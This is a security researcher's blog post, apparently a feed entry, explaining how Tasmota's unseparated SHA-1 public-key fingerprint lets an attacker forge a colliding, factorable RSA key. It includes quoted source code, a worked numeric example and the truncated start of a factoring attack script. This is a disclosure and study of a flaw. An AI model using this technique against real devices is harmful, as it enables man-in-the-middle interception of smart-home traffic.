rya.nchttps://rya.nc/2025-10-04T11:34:00+01:00[witty tagline]Plugin Secure: Exploiting Ambiguous Serialization2025-10-04T11:34:00+01:002025-10-04T11:34:00+01:00ryanctag:rya.nc,2025-10-04:/plugin-secure.html
<p>For an embedded device, TLS certificate validation presents some unique
challenges. The obvious problem is the limited processing power, but the real
issue is that a typical root CA bundle is well over 100KB and there may not be
enough storage available for it. One possible workaround is simply
authenticating the server’s public key based on a hash, similar to how SSH
works. While there are some drawbacks, this is secure if implemented
<em>correctly</em>. If not… well, that’s where I come in.</p>
<!-- included from `include/globals.rst` -->
<p><em>Note: This post was written in August 2020, but I got stuck on how to finish
it. I’m now publishing it as-is so it doesn’t languish in ‘drafts’ forever.</em></p>
<p>For an embedded device, TLS certificate validation presents some unique
challenges. The obvious problem is the limited processing power, but the real
issue is that a typical root CA bundle is well over 100KB and there may not be
enough storage available for it. One possible workaround is simply
authenticating the server’s public key based on a hash, similar to how SSH
works. While there are some drawbacks, this is secure if implemented
<em>correctly</em>. If not… well, that’s where I come in.</p>
<p>Smart home devices and automation have interested me for a long time. In the
mid 2000s, I got some cheap X10 modules to experiment with. They worked. Kind
of. Usually. You could control them with a computer with a serial module that
brought RF communications into the mix for no good reason. The poor reliability
and difficulty setting these devices up kept them from ever getting significant
adoption. A lot has changed in 20 years.</p>
<p>The <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FESP8266">ESP8266</a> WiFi chip entered production December 30<sup>th</sup> 2013. It
was intended to provide internet connectivity to other microcontrollers. Though
it only cost a few dollars, it was actually a very capable platform all by
itself. By the end of 2014, SDKs were available to run software on it directly.
Cheap WiFi-enabled modules based on the ESP8266, such as the ESP-01, helped
fuel the “internet of things”.</p>
<p>Reactions to the popularity of mass market smart home devices have been…
mixed.</p>
<blockquote>
<p><strong>Tech Enthusiasts:</strong> Everything in my house is wired to the Internet of
Things! I control it all from my smartphone! My smart-house is bluetooth
enabled and I can give it voice commands via alexa! I love the future!</p>
<p><strong>Programmers / Engineers:</strong> The most recent piece of technology I own is
a printer from 2004 and I keep a loaded gun ready to shoot it if it ever
makes an unexpected noise.</p>
<p class="attribution">—<a class="external" href="proxy.php?url=https%3A%2F%2Fbiggaybunny.tumblr.com%2Fpost%2F166787080920%2Ftech-enthusiasts-everything-in-my-house-is-wired">biggaybunny</a></p>
</blockquote>
<p>I’ve avoided these products because they generally rely on cloud services.
While a hosted model makes sense for most people, it gives the vendor access
to a lot of data, which they may sell, leave in an unsecured AWS S3 bucket or
otherwise distribute. On top of that, there have been a number of instances of
companies abruptly shutting down their servers, leaving the devices depending
on them useless. Having “LAN-only” operation as an option is considered a
niche feature and is generally priced accordingly.</p>
<p>In 2020, I bought a WiFi-enabled air purifier. I hadn’t planned to connect it
to my network, but then I discovered someone had published code to use it
without the cloud service. Once I got that working, I wanted more.</p>
<p>My research turned up a number of cheap WiFi-enabled devices using the ESP8266,
and someone’d already done the hard work of figuring out how to reflash them
without disassembly<a class="footnote-reference" href="#id5">[1]</a><a id="id1"></a>. Not only that, but there were several seemingly well
maintained options for open source firmware including
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.letscontrolit.com%2Fwiki%2Findex.php%2FESPEasy">ESPeasy</a>,
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fxoseperez%2Fespurna">ESPurna</a>,
<a class="external" href="proxy.php?url=https%3A%2F%2Ftasmota.github.io%2Fdocs%2F">Tasmota</a>, and
<a class="external" href="proxy.php?url=https%3A%2F%2Fesphome.io%2F">ESPhome</a>. The documentation for Tasmota seemed quite
good and included lots of details on supported devices. I wanted to be able to
control power to a few appliances, and eventually settled on the
<a class="external" href="proxy.php?url=https%3A%2F%2Ftemplates.blakadder.com%2Faoycocr_U3S.html">Aoycocr U3S</a>.
It looked well supported and Amazon had them in stock. A few days later
they arrived and I was able to flash them without a hitch.</p>
<p>Tasmota is intended to be used with an MQTT broker. Perusing the documentation,
I saw that there was even support for TLS. Being the sort of person to run
transport-mode IPSec on their home network<a class="footnote-reference" href="#id6">[2]</a><a id="id2"></a>, I <strong>had</strong> to use TLS. The
default builds don’t include TLS support because of code size constraints, but
it’s available as a compile time option. Validation can be done using either
the standard CA-based approach, or using public key fingerprints. For
convenience, the server can be automatically trusted on first use, with the
fingerprint stored for future connections.</p>
<p>The documentation for this feature got my attention (emphasis mine):</p>
<blockquote>
The fingerprint is now calculated on the server’s Public Key and no longer
on its Certificate. The good news is that Public Keys tend to change far
less often than certificates, i.e. LetsEncrypt triggers a certificate
renewal every 3 months, the Public Key fingerprint will not change after a
certificate renewal. The bad news is that <strong>there is no openssl
command to retrieve the server’s Public Key fingerprint</strong>, although
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fissacg%2Ftasmota-fingerprint">a tool exists to calculate it</a>
from your certificate.</blockquote>
<p>I took a look at the fingerprint code.</p>
<div class="highlight"><table class="highlighttable"><caption><a href="proxy.php?url=https%3A%2F%2Fgithub.com%2Farendst%2FTasmota%2Fblob%2F1d68fe9bc6e770f0f3ac590b98cfcadfe410a52e%2Ftasmota%2FWiFiClientSecureLightBearSSL.cpp%23L698-L703" id="WiFiClientSecureLightBearSSL-cpp">WiFiClientSecureLightBearSSL.cpp</a></caption><tbody><tr><td class="linenos">698</td><td>
<code><span class="pgcssk">static</span><span class="pgcssw"> </span><span class="pgcsskt">void</span><span class="pgcssw"> </span><span class="pgcssnf">pubkeyfingerprint_pubkey_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">br_sha1_context</span><span class="pgcssw"> </span><span class="pgcsso">*</span><span class="pgcssn">shactx</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">br_rsa_public_key</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">)</span><span class="pgcssw"> </span><span class="pgcssp">{</span></code>
</td></tr><tr><td class="linenos">699</td><td>
<code><span class="pgcssw"> </span><span class="pgcssn">br_sha1_init</span><span class="pgcssp">(</span><span class="pgcssn">shactx</span><span class="pgcssp">);</span></code>
</td></tr><tr><td class="linenos">700</td><td>
<code><span class="pgcssw"> </span><span class="pgcssn">br_sha1_update</span><span class="pgcssp">(</span><span class="pgcssn">shactx</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcsss">&quot;ssh-rsa&quot;</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssmi">7</span><span class="pgcssp">);</span><span class="pgcssw"> </span><span class="pgcssc1">// tag</span></code>
</td></tr><tr><td class="linenos">701</td><td>
<code><span class="pgcssw"> </span><span class="pgcssn">br_sha1_update</span><span class="pgcssp">(</span><span class="pgcssn">shactx</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">.</span><span class="pgcssn">e</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">.</span><span class="pgcssn">elen</span><span class="pgcssp">);</span><span class="pgcssw"> </span><span class="pgcssc1">// exponent</span></code>
</td></tr><tr><td class="linenos">702</td><td>
<code><span class="pgcssw"> </span><span class="pgcssn">br_sha1_update</span><span class="pgcssp">(</span><span class="pgcssn">shactx</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">.</span><span class="pgcssn">n</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">.</span><span class="pgcssn">nlen</span><span class="pgcssp">);</span><span class="pgcssw"> </span><span class="pgcssc1">// modulus</span></code>
</td></tr><tr><td class="linenos">703</td><td>
<code><span class="pgcssp">}</span></code>
</td></tr></tbody></table></div>
<p>While <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FSHA-1%23SHAttered_%25E2%2580%2593_first_public_collision">SHA-1 is vulnerable to collision attacks</a>,
it’s still secure against <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FPreimage_attack">preimage attacks</a> which
generate data matching a specific hash.</p>
<p>This scheme was obviously based on the one used by OpenSSH. It’s key
serialization format is specified in <a class="external" href="proxy.php?url=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc4253.html%23page-15">RFC 4253</a> as</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos"> </td><td>
<code>string &quot;ssh-rsa&quot;</code>
</td></tr><tr><td class="linenos"> </td><td>
<code>mpint e</code>
</td></tr><tr><td class="linenos"> </td><td>
<code>mpint n</code>
</td></tr></tbody></table></div>
<p>The meaning of the <code>string</code> and <code>mpint</code> types isn’t actually
defined in RFC 4253 — that’s covered in <a class="external" href="proxy.php?url=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc4251.html%23page-9">RFC 4251</a>. The important
thing to note is that they are both prefixed by their lengths.</p>
<p>So, what’s in the <code>br_rsa_public_key</code> struct?</p>
<div class="highlight"><table class="highlighttable"><caption><a href="proxy.php?url=https%3A%2F%2Fgithub.com%2Farendst%2FTasmota%2Fblob%2F1d68fe9bc6e770f0f3ac590b98cfcadfe410a52e%2Flib%2Fbearssl-esp8266%2Fsrc%2Ft_bearssl_rsa.h%23L155-L171" id="t-bearssl-rsa-h">t_bearssl_rsa.h</a></caption><tbody><tr><td class="linenos">155</td><td>
<code><span class="pgcsscm">/**</span></code>
</td></tr><tr><td class="linenos">156</td><td>
<code><span class="pgcsscm"> * \brief RSA public key.</span></code>
</td></tr><tr><td class="linenos">157</td><td>
<code><span class="pgcsscm"> *</span></code>
</td></tr><tr><td class="linenos">158</td><td>
<code><span class="pgcsscm"> * The structure references the modulus and the public exponent. Both</span></code>
</td></tr><tr><td class="linenos">159</td><td>
<code><span class="pgcsscm"> * integers use unsigned big-endian representation; extra leading bytes</span></code>
</td></tr><tr><td class="linenos">160</td><td>
<code><span class="pgcsscm"> * of value 0 are allowed.</span></code>
</td></tr><tr><td class="linenos">161</td><td>
<code><span class="pgcsscm"> */</span></code>
</td></tr><tr><td class="linenos">162</td><td>
<code><span class="pgcssk">typedef</span><span class="pgcssw"> </span><span class="pgcssk">struct</span><span class="pgcssw"> </span><span class="pgcssp">{</span></code>
</td></tr><tr><td class="linenos">163</td><td>
<code><span class="pgcssw"> </span><span class="pgcsscm">/** \brief Modulus. */</span></code>
</td></tr><tr><td class="linenos">164</td><td>
<code><span class="pgcssw"> </span><span class="pgcsskt">unsigned</span><span class="pgcssw"> </span><span class="pgcsskt">char</span><span class="pgcssw"> </span><span class="pgcsso">*</span><span class="pgcssn">n</span><span class="pgcssp">;</span></code>
</td></tr><tr><td class="linenos">165</td><td>
<code><span class="pgcssw"> </span><span class="pgcsscm">/** \brief Modulus length (in bytes). */</span></code>
</td></tr><tr><td class="linenos">166</td><td>
<code><span class="pgcssw"> </span><span class="pgcsskt">size_t</span><span class="pgcssw"> </span><span class="pgcssn">nlen</span><span class="pgcssp">;</span></code>
</td></tr><tr><td class="linenos">167</td><td>
<code><span class="pgcssw"> </span><span class="pgcsscm">/** \brief Public exponent. */</span></code>
</td></tr><tr><td class="linenos">168</td><td>
<code><span class="pgcssw"> </span><span class="pgcsskt">unsigned</span><span class="pgcssw"> </span><span class="pgcsskt">char</span><span class="pgcssw"> </span><span class="pgcsso">*</span><span class="pgcssn">e</span><span class="pgcssp">;</span></code>
</td></tr><tr><td class="linenos">169</td><td>
<code><span class="pgcssw"> </span><span class="pgcsscm">/** \brief Public exponent length (in bytes). */</span></code>
</td></tr><tr><td class="linenos">170</td><td>
<code><span class="pgcssw"> </span><span class="pgcsskt">size_t</span><span class="pgcssw"> </span><span class="pgcssn">elen</span><span class="pgcssp">;</span></code>
</td></tr><tr><td class="linenos">171</td><td>
<code><span class="pgcssp">}</span><span class="pgcssw"> </span><span class="pgcssn">br_rsa_public_key</span><span class="pgcssp">;</span></code>
</td></tr></tbody></table></div>
<p>So, the fingerprint is the SHA-1 hash of the literal string “ssh-rsa”, the
public exponent, and the modulus all concatenated together. No length prefixes
or separators. I immediately suspected it was exploitable. Since the size of
the public exponent and modulus aren’t fixed, the input to the hash function
is ambiguous. To illustrate in Python:</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">1</td><td>
<code><span class="pgcssc1"># SPDX-License-Identifier: CC0-1.0+ OR 0BSD OR MIT-0</span></code>
</td></tr><tr><td class="linenos">2</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">hashlib</span></code>
</td></tr><tr><td class="linenos">3</td><td>
</td></tr><tr><td class="linenos">4</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">hash_concatenated</span><span class="pgcssp">(</span><span class="pgcssn">words</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">5</td><td>
<code> <span class="pgcssn">sha</span> <span class="pgcsso">=</span> <span class="pgcssn">hashlib</span><span class="pgcsso">.</span><span class="pgcssn">sha256</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">6</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">word</span> <span class="pgcssow">in</span> <span class="pgcssn">words</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">7</td><td>
<code> <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">word</span><span class="pgcsso">.</span><span class="pgcssn">encode</span><span class="pgcssp">())</span></code>
</td></tr><tr><td class="linenos">8</td><td>
</td></tr><tr><td class="linenos">9</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">10</td><td>
</td></tr><tr><td class="linenos">11</td><td>
<code><span class="pgcssn">A</span> <span class="pgcsso">=</span> <span class="pgcssn">hash_concatenated</span><span class="pgcssp">([</span><span class="pgcsss1">&#39;plugin&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;secure&#39;</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">12</td><td>
<code><span class="pgcssn">B</span> <span class="pgcsso">=</span> <span class="pgcssn">hash_concatenated</span><span class="pgcssp">([</span><span class="pgcsss1">&#39;plug&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;insecure&#39;</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">13</td><td>
</td></tr><tr><td class="linenos">14</td><td>
<code><span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">A</span> <span class="pgcsso">==</span> <span class="pgcssn">B</span><span class="pgcssp">)</span> <span class="pgcssc1"># True</span></code>
</td></tr></tbody></table></div>
<p>Relevant XKCD:</p>
<div style="display:flex;align-items:center;flex-direction:column;padding:0 16px">
<a href="proxy.php?url=https%3A%2F%2Fxkcd.com%2F37%2F" style="width:100%"><img alt="Headline: My hobby: whenever calls something an [adjective]-ass [noun], I mentally move the hyphen one word to the right. One man is talking to another about a car that resembles a Volkswagen Beetle. Man: Man, that’s a sweet ass-car." src="proxy.php?url=https%3A%2F%2Frya.nc%2Fplugin-secure_%2Fxkcd-0037-hyphen.img" style="height:auto;width:100%" title="XKCD - Hyphen"></a>
<footer style="font-size:smaller">
<a href="proxy.php?url=https%3A%2F%2Fxkcd.com%2F37%2F">Hyphen</a>
by <a href="proxy.php?url=https%3A%2F%2Fxkcd.com%2Fabout%2F">Randall Monroe</a>
used under <a href="proxy.php?url=https%3A%2F%2Fcreativecommons.org%2Flicenses%2Fby-nc%2F2.5%2F">CC BY-NC 2.5</a>
</footer>
</div><p>As used in TLS, RSA keys commonly use <span class="formula"><i>e</i> = 65537</span> as their public
exponent with <span class="formula"><i>n</i> = <i>pq</i></span> as their modulus where <span class="formula"><i>p</i></span> and <span class="formula"><i>q</i></span>
are random prime numbers several hundred decimal digits long. With <span class="formula"><i>p</i></span>
and <span class="formula"><i>q</i></span>, the private exponent <span class="formula"><i>d</i></span> can be calculated as the
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FModular_multiplicative_inverse">modular multiplicative inverse</a> of <span class="formula"><i>e</i></span> with respect to
<span class="formula">(<i>p</i> − 1)(<i>q</i> − 1)</span>.</p>
<p>If the original public key was <span class="formula"><i>e</i> = 17, <i>n</i> = 279581516717</span>, then it would
concatenate to <span class="formula">17279581516717</span>. From this, colliding candidate public
keys can be created my splitting the digits in different places. Maybe one
of them will be easy to crack?</p>
<p><span class="formula"><i>e</i> = 172, <i>n</i> = 79581516717</span> — Can’t use this because <span class="formula"><i>e</i></span> is even.</p>
<p><span class="formula"><i>e</i> = 1727, <i>n</i> = 9581516717</span> — No luck here, <span class="formula"><i>n</i></span> is prime.</p>
<p><span class="formula"><i>e</i> = 17279, <i>n</i> = 581516717</span> — Trivial to factor! <span class="formula"><i>n</i> = 19⋅30606143</span></p>
<p>Now <span class="formula"><i>d</i></span> can be calculated.</p>
<p><span class="formula"><i>φ</i>(<i>n</i>) = (19 − 1) ⋅ (30606143 − 1)</span></p>
<p><span class="formula"><i>φ</i>(<i>n</i>) = 18 ⋅ 30606142</span></p>
<p><span class="formula"><i>φ</i>(<i>n</i>) = 550910556</span></p>
<p><span class="formula"><i>d</i> = <span class="text">invert</span>(17279, 550910556)</span></p>
<p><span class="formula"><i>d</i> = 480193523</span></p>
<p>In TLS, however, the numbers will be a lot bigger — typically <span class="formula"><i>e</i></span>
65537 and <span class="formula"><i>n</i></span> is a 2048 bit (617 decimal digit) <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FSemiprime">semiprime</a>.
Implementations vary in the ranges of values they will accept in RSA keys, and
the attack will be constrained by those limits. Tasmota uses
<a class="external" href="proxy.php?url=https%3A%2F%2Fbearssl.org%2F">BearSSL</a><a class="footnote-reference" href="#id7">[3]</a><a id="id3"></a>, so that will be the focus for a
moment. Per the documentation, by default BearSSL will accept RSA keys with a
modulus at least 128 bytes long — that’s 1017 bits (307 decimal digits).
A lot of libraries limit the public exponent to a 32 or 64 bit value —
what about BearSSL?</p>
<p>The source code holds the answer:</p>
<blockquote>
The X.509 “minimal” engine <strong>will tolerate public exponents of arbitrary
size</strong> as long as the modulus and the exponent can fit together in the
dedicated buffer.</blockquote>
<p>If exponents can be arbitrarily large, that means for a 2048 bit key with the
standard <span class="formula"><i>e</i></span> value, there are theoretically 128 alternate places
where <span class="formula"><i>e</i></span> and <span class="formula"><i>n</i></span> can be split. In practice, there are some
further restrictions that come into play. The biggest one that immediately
rules out about half of the options is the need for <span class="formula"><i>e</i></span> to be odd.
Another issue is that BearSSL always encodes <span class="formula"><i>n</i></span> without leading zero
bytes, so the first byte after the split must be nonzero.</p>
<p>Even with the splitting, the number to be factored is still quite large. I’ve
previously done some research that involved factoring semiprimes used in
RSA, but anything much beyond 512 bits (155 decimal digits) requires more
computational resources than I have access to. For a 1024 bit semiprime, the
cost to factor is probably on the order of $10M USD. In this case, however,
the number is effectively random and has a reasonable chance of having some
small factors.</p>
<p>Although RSA private keys normally use two primes, the math still works with
<a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa.html">three or more</a>. I initially assumed that would require
too much effort to implement. I’ve gotten
<a class="external" href="proxy.php?url=https%3A%2F%2Fcrypto.stackexchange.com%2Fa%2F1449">textbook RSA</a>
working with it before, but I doubted I’d be able to hack a TLS library into
using it. Instead, I tried to go the lazy route. My initial strategy was to
simply send the new <span class="formula"><i>n</i></span> value to
<a class="external" href="proxy.php?url=http%3A%2F%2Ffactordb.com%2F">factordb</a> and try to construct an RSA key with
composite values for <span class="formula"><i>p</i></span> and <span class="formula"><i>q</i></span>. This did not work, even when
the resulting <span class="formula"><i>φ</i>(<i>n</i>)</span> was coprime to <span class="formula"><i>e</i></span>. To be honest, I don’t
understand the math well enough to explain why. I almost gave up at that point,
but I <em>really</em> wanted to find a way to pull off the attack. Instead,
I complained to some friends in a chat room:</p>
<blockquote>
<p>RyanC: I’m trying to write an exploit for something, and it needs to use RSA with a modulus that has more than two factors.</p>
<p>RyanC: I thought that this could be made to work by just using composite p and q.</p>
<p>RyanC: that, however, does not work with openssl</p>
<p>RyanC: is this just openssl’s optimizations shooting me in the foot, or does this actually not work?</p>
<p>RyanC: I don’t really want to build a hacked TLS lib that does multiprime rsa</p>
</blockquote>
<p>Within a few minutes, someone responded pointing out that Go’s standard
cryptography library actually did support this, and then another mentioned
there’s a standardized format for it. Some further digging revealed that
OpenSSL can also handle multi-prime RSA as of version 1.1.1. All I had to do
was find a full prime factorization and get the key in the right format.</p>
<p>Creating a properly formatted key was the easy part. In
previous projects where I’ve done
<a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fcert-tricks.html">ill-advised things with RSA keys</a>
I’ve used the <code>RSA.construct</code> method of
<a class="external" href="proxy.php?url=https%3A%2F%2Fpycryptodome.readthedocs.io%2Fen%2Flatest%2F">PyCryptodome</a><a class="footnote-reference" href="#id8">[4]</a><a id="id4"></a>,
but that only supports the standard two prime version. There don’t seem to be
any libraries available that handle the multi-prime case, so I had to
<a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa.html">write my own</a>.</p>
<p>Actually doing the factorization was a bit harder. This particular bug provides
a few dozen possible values to try to factor, so an algorithm that can
probabilistically find factors up to a few dozen digits long quickly would be
ideal.
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLenstra_elliptic-curve_factorization">Lenstra elliptic-curve factorization</a>
(also known as the “elliptic-curve factorization method”, or “ECM” for short)
is such an algorithm, and the GMP-ECM implementation of it is packaged for many
Linux distributions. The details of how it works aren’t important, though I
found a
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.mersenneforum.org%2Fshowpost.php%3Fp%3D480592%26amp%3Bamp%3Bpostcount%3D1">forum post</a>
that tries to explain it with an analogy. The most important point is that when
running it, one needs to choose a value <span class="formula"><i>B</i>1</span> which corresponds to a vague
range of values to search, and then run a bunch of randomized trials. The
larger the range, the more trials needed to be confident there are no factors
to be found there.</p>
<p>I had some issues with ECM when testing. The factors returned by it aren’t
necessarily prime, so they may require further breakdown. If all of the factors
of a number were too small, this sometimes wouldn’t work. I had to add code
to avoid this problem by starting out with a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FTrial_division">trial division</a> pass, and
feeding any composites of 30 digits or less to the <code>factor</code> utility that
comes installed by default on most Linux systems.</p>
<div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fplugin-secure_%2Fattach%2Fcrack_split_rsa.sage" id="crack-split-rsa-sage">crack_split_rsa.sage</a></caption><tbody><tr><td class="linenos">1</td><td>
<code><span class="pgcssc1"># Tested with the version of Sage available for Ubuntu 20.04</span></code>
</td></tr><tr><td class="linenos">2</td><td>
</td></tr><tr><td class="linenos">3</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">sys</span></code>
</td></tr><tr><td class="linenos">4</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">json</span></code>
</td></tr><tr><td class="linenos">5</td><td>
</td></tr><tr><td class="linenos">6</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">sage.all</span> <span class="pgcsskn">import</span> <span class="pgcsso">*</span></code>
</td></tr><tr><td class="linenos">7</td><td>
</td></tr><tr><td class="linenos">8</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">binascii</span> <span class="pgcsskn">import</span> <span class="pgcssn">unhexlify</span></code>
</td></tr><tr><td class="linenos">9</td><td>
</td></tr><tr><td class="linenos">10</td><td>
<code><span class="pgcssk">class</span> <span class="pgcssnc">Unbuffered</span><span class="pgcssp">(</span><span class="pgcssnb">object</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">11</td><td>
<code> <span class="pgcssk">def</span> <span class="pgcssfm">__init__</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">stream</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">12</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span> <span class="pgcsso">=</span> <span class="pgcssn">stream</span></code>
</td></tr><tr><td class="linenos">13</td><td>
<code> <span class="pgcssk">def</span> <span class="pgcssnf">write</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">data</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">14</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">data</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">15</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcsso">.</span><span class="pgcssn">flush</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">16</td><td>
<code> <span class="pgcssk">def</span> <span class="pgcssnf">writelines</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">datas</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">17</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcsso">.</span><span class="pgcssn">writelines</span><span class="pgcssp">(</span><span class="pgcssn">datas</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">18</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcsso">.</span><span class="pgcssn">flush</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">19</td><td>
<code> <span class="pgcssk">def</span> <span class="pgcssfm">__getattr__</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">attr</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">20</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssnb">getattr</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcssp">,</span> <span class="pgcssn">attr</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">21</td><td>
</td></tr><tr><td class="linenos">22</td><td>
<code><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span> <span class="pgcsso">=</span> <span class="pgcssn">Unbuffered</span><span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">23</td><td>
</td></tr><tr><td class="linenos">24</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">25</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssnb">int</span><span class="pgcsso">.</span><span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;big&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">26</td><td>
</td></tr><tr><td class="linenos">27</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">find_small_primes</span><span class="pgcssp">(</span><span class="pgcssn">end</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">28</td><td>
<code> <span class="pgcssn">ret</span> <span class="pgcsso">=</span> <span class="pgcssp">[]</span></code>
</td></tr><tr><td class="linenos">29</td><td>
<code> <span class="pgcssn">P</span> <span class="pgcsso">=</span> <span class="pgcssn">Primes</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">30</td><td>
<code> <span class="pgcssn">p</span> <span class="pgcsso">=</span> <span class="pgcssn">P</span><span class="pgcsso">.</span><span class="pgcssn">first</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">31</td><td>
<code> <span class="pgcssk">while</span> <span class="pgcssn">p</span> <span class="pgcsso">&lt;</span> <span class="pgcssn">end</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">32</td><td>
<code> <span class="pgcssn">ret</span><span class="pgcsso">.</span><span class="pgcssn">append</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">33</td><td>
<code> <span class="pgcssn">p</span> <span class="pgcsso">=</span> <span class="pgcssn">P</span><span class="pgcsso">.</span><span class="pgcssn">next</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">34</td><td>
</td></tr><tr><td class="linenos">35</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">ret</span></code>
</td></tr><tr><td class="linenos">36</td><td>
</td></tr><tr><td class="linenos">37</td><td>
<code><span class="pgcssn">small_primes</span> <span class="pgcsso">=</span> <span class="pgcssn">find_small_primes</span><span class="pgcssp">(</span><span class="pgcssmi">10000</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">38</td><td>
</td></tr><tr><td class="linenos">39</td><td>
<code><span class="pgcssc1"># look for easy factors</span></code>
</td></tr><tr><td class="linenos">40</td><td>
